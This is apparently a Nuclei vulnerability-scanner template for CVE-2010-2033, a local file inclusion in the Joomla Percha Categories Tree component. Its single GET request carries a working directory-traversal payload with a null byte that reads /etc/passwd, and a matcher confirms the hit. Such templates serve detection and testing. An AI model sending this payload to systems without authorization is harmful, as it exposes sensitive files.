id: CVE-2010-2033

info:
  name: Joomla! Percha Categories Tree 0.6 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Percha Fields Attach (com_perchafieldsattach) component 1.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/89654/Joomla-Percha-Categories-Tree-0.6-Local-File-Inclusion.html
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2033
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2033
    cwe-id: CWE-22
    epss-score: 0.00803
    epss-percentile: 0.73184
    cpe: cpe:2.3:a:percha:com_perchacategoriestree:0.6:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: percha
    product: com_perchacategoriestree
  tags: cve,cve2010,packetstorm,joomla,lfi,percha

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_perchacategoriestree&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202719bbaa5eb793e86977741746459835648bd2e03546bc41adb5edf6758afd77022100eeb99adf460b4eec8a28b2c867fce4c8a337f82dc8343cea96337b52aa5ca80e:922c64590222798bb761d5b6d8e72950